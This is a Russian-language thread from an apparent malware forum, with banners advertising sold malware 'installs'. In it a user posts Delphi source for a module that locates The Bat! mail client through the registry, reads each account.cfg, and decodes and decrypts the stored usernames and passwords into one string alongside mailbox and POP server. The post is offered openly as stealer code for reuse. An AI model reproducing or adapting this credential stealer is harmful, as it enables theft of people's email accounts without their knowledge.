contact us rules avd support awards upload blog group gallery home


 


|LoadsSell.net - Мы продаем загрузки| |PlohihZagRusOK.net - у нас нет плохих загрузок| |installsmarket.net - качественные загрузки любых стран| |installsdealer.com - Ваши дилеры на рынке инсталлов| |ZagruzkiNah.Com - чоткие загрузы| |107928 - продаю загрузки|

 
Старый 1 день назад   #1
WestSide

Windows 95

Регистрация: 19.11.2010
Сообщений: 95
Поблагодарили всего: 46
за это сообщение: 0
По умолчанию [Delphi] Дешифруем пароли The Bat

Код:
unit BatDecrypt; 
interface 

uses 
 Windows; 

function GetBatPass:string;//Основная функция, возвращающая аккаунты 

implementation 

const //Константа для расшифровки 
  b64alphabet2: PChar = '+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; 

function SHGetSpecialFolderPath(hwndOwner:HWND;lpszPath:PChar;nFolder:Integer;fCreate:BOOL):BOOL;stdcall; external 'shell32.dll' name 'SHGetSpecialFolderPathA'; 
var 
 PopServ,Mail,Name,Pass:string;//Переменные для получения информации 

function DecodeBaseTB(Value: String): String;//Собственно декодирование 
  function DecodeChunk(const Chunk: String): String;//Вложенная функция 
  var 
    W: LongWord; 
    i: Byte; 
  begin 
    W := 0; Result := ''; 
    for i := 1 to 4 do 
      if Pos(Chunk[i], b64alphabet2) <> 0 then 
        W := W + Word((Pos(Chunk[i], b64alphabet2) - 1)) shl ((4 - i) * 6); 
    for i := 1 to 3 do 
        Result := Result + Chr(W shr ((3 - i) * 8) and $ff); 
  end; 
begin 
  Result := ''; 
  if Length(Value) mod 4 <> 0 then Exit; 
  while Length(Value) > 0 do begin 
    Result := Result + DecodeChunk(Copy(Value, 0, 4)); 
    Delete(Value, 1, 4); 
  end; 
end; 

function DecryptTheBatPass(const Value: String): String;//Расшифровка пароля 
var 
  S: String; 
  i: Integer; 
  Len: Integer; 
begin 
  Result := 'нет'; 
  S := DecodeBaseTB(Value); 
  if Length(S) < 4 then Exit; 
  for i := 1 to 4 do S[i] := Chr($FF - Ord(S[i])); 
  Len := PDWord(@S[1])^; 
  Delete(S, 1, 4); 
  for i := 1 to Length(S) do S[i] := Chr(Ord(S[i]) xor $5A); 
  Result := ''; 
  for i := Len downto 1 do Result := Result + S[i]; 
end; 

function ReadTheBatStrProperty(hFile: DWORD):string;//Считывание из файла акаунта 
var 
 bRead: DWORD; 
 buf:cardinal; 
 szBuffer: array[0..255] of Char; 
begin 
  fillchar(szBuffer,sizeof(szBuffer),#0);  //Чистим буфер 
  ReadFile(hFile,buf,4,bRead,nil);        //Читаем длину 
  ReadFile(hFile,szBuffer,buf,bRead,nil);//Читаем буфер 
  result:=szBuffer;                     //Передаём инфу 
end; 

procedure GetAccountPassword(lpPath:PChar);//Получение ящика,pop сервера,имени пользователя,пароля 
var 
 hFile, dwSeq, dwLen, bRead: DWORD; 
 q:integer; 
begin 
  Mail:='';Name:='';Pass:='';PopServ:=''; 
  hFile:=CreateFile(lpPath,GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);//Проверяем существует ли файл 
  if hFile=INVALID_HANDLE_VALUE then Exit;//Если нету, то выходим 
  //Читаем акаунты 
  for q:=0 to 31 do 
  begin 
    ReadFile(hFile,dwSeq, 4,bRead,nil);//Считываем данные 
    ReadFile(hFile,dwLen,4,bRead,nil);//Считываем длину 
    case dwSeq of//Определяем какие данные считали 
     $02:Mail:=ReadTheBatStrProperty(hFile);//Ящик 
     $0B:PopServ:=ReadTheBatStrProperty(hFile);//pop сервер 
     $0F:begin 
           Name:=ReadTheBatStrProperty(hFile);//читаем имя пользователя 
           Name:=DecryptTheBatPass(Name)     //Расшифровываем 
         end; 
     $10:begin 
           Pass:=ReadTheBatStrProperty(hFile);//Получаем пароль 
           Pass:=DecryptTheBatPass(Pass);    //Расшифровываем 
         end; 
     else SetFilePointer(hFile,dwLen,nil,FILE_CURRENT);//Перемещаем каретку дальше 
    end; 
  end; 
  CloseHandle(hFile); 
end; 

function GetTheBatPasswords(szPath:string):string;//Получение паролей 
var 
 FindFileData:WIN32_FIND_DATA; 
 hFind: DWORD; 
 Ender:longbool; 
begin 
  hFind:=FindFirstFile(PChar(szPath+'*.*'),FindFileData);//Начинаем поиск файла 
  if hFind<>INVALID_HANDLE_VALUE then                   //Если нашли account.cfg 
  begin 
    repeat 
      GetAccountPassword(PChar(szPath+FindFileData.cFileName+'\account.cfg'));//Получаем данные из файла 
      if (Mail<>'') and (Pass<>'') then result:=result+'Mail('+Mail+'):Pop('+PopServ+'):User('+Name+'):Pass('+Pass+'); '; 
      Ender:=FindNextFile(hFind,FindFileData);//Продолжаем поиск 
    until ender=false;                       //Продолжаем или нет 
    FindClose(hFind); 
  end; 
end; 

function GetBatPass:string;//Основная функция 
var 
 Len:integer; 
 Reg:HKey; 
 St: string; 
 procedure Null; 
 begin 
   SetString(St, nil, 260);//устанавливаем длину строки 
   Len:=MAX_PATH;         //Задаём длину 
 end; 
begin 
  result:=''; 
  //Проверяем HKCU->Software->RIT->Working Directory 
  RegOpenKeyEx(HKEY_CURRENT_USER,'SOFTWARE\RIT\The Bat!',0,KEY_QUERY_VALUE,Reg);//Читаем путь к бату 
  if Reg=0 then Exit;//Если нету, то косяк... 
  Null; 
  if RegQueryValueEx(Reg,'Working Directory',nil,nil,PByte(St),@Len)=0 then//Берём рабочую папку бата 
  begin 
    if St[1]='%' then 
    begin 
      Null;             //Обнуляем буфер 
      if RegQueryValueEx(Reg,'ProgramDir',nil,nil,PByte(St),@Len)=0 then//Берём папку бата 
        Result:=GetTheBatPasswords(PChar(St)+'MAIL\');                 //Берём инфу из account.cfg 
      if RegOpenKeyEx(HKEY_CURRENT_USER,'SoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders',0,KEY_QUERY_VALUE,Reg)=0 then 
      begin 
        Null; 
        if RegQueryValueEx(Reg,'AppData',nil,nil,PByte(St),@Len)=0 then//Берём папку для приложений 
          Result:=Result+GetTheBatPasswords(PChar(St)+'The Bat!); 
      end; 
    end 
    else Result:=GetTheBatPasswords(PChar(St));                    //Берём инфу из account.cfg 
  end; 
  RegCloseKey(Reg);                                       //Закрываем реестр 
end; 

end.
Код:
Memo1.Lines.Add(GetBatPass);
WestSide вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Ответ

Нижняя навигация
Вернуться   Fuck Anti Virus > Работаем с файлами > Source


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 

(Подробнее Тему прочитали: 8
Dave, DJ Keylogger, GrammarNazi, limit, Rafik, Reptiliy, WestSide, _Stealer_
Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Часовой пояс GMT +4, время: 07:45.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd. Перевод: zCarot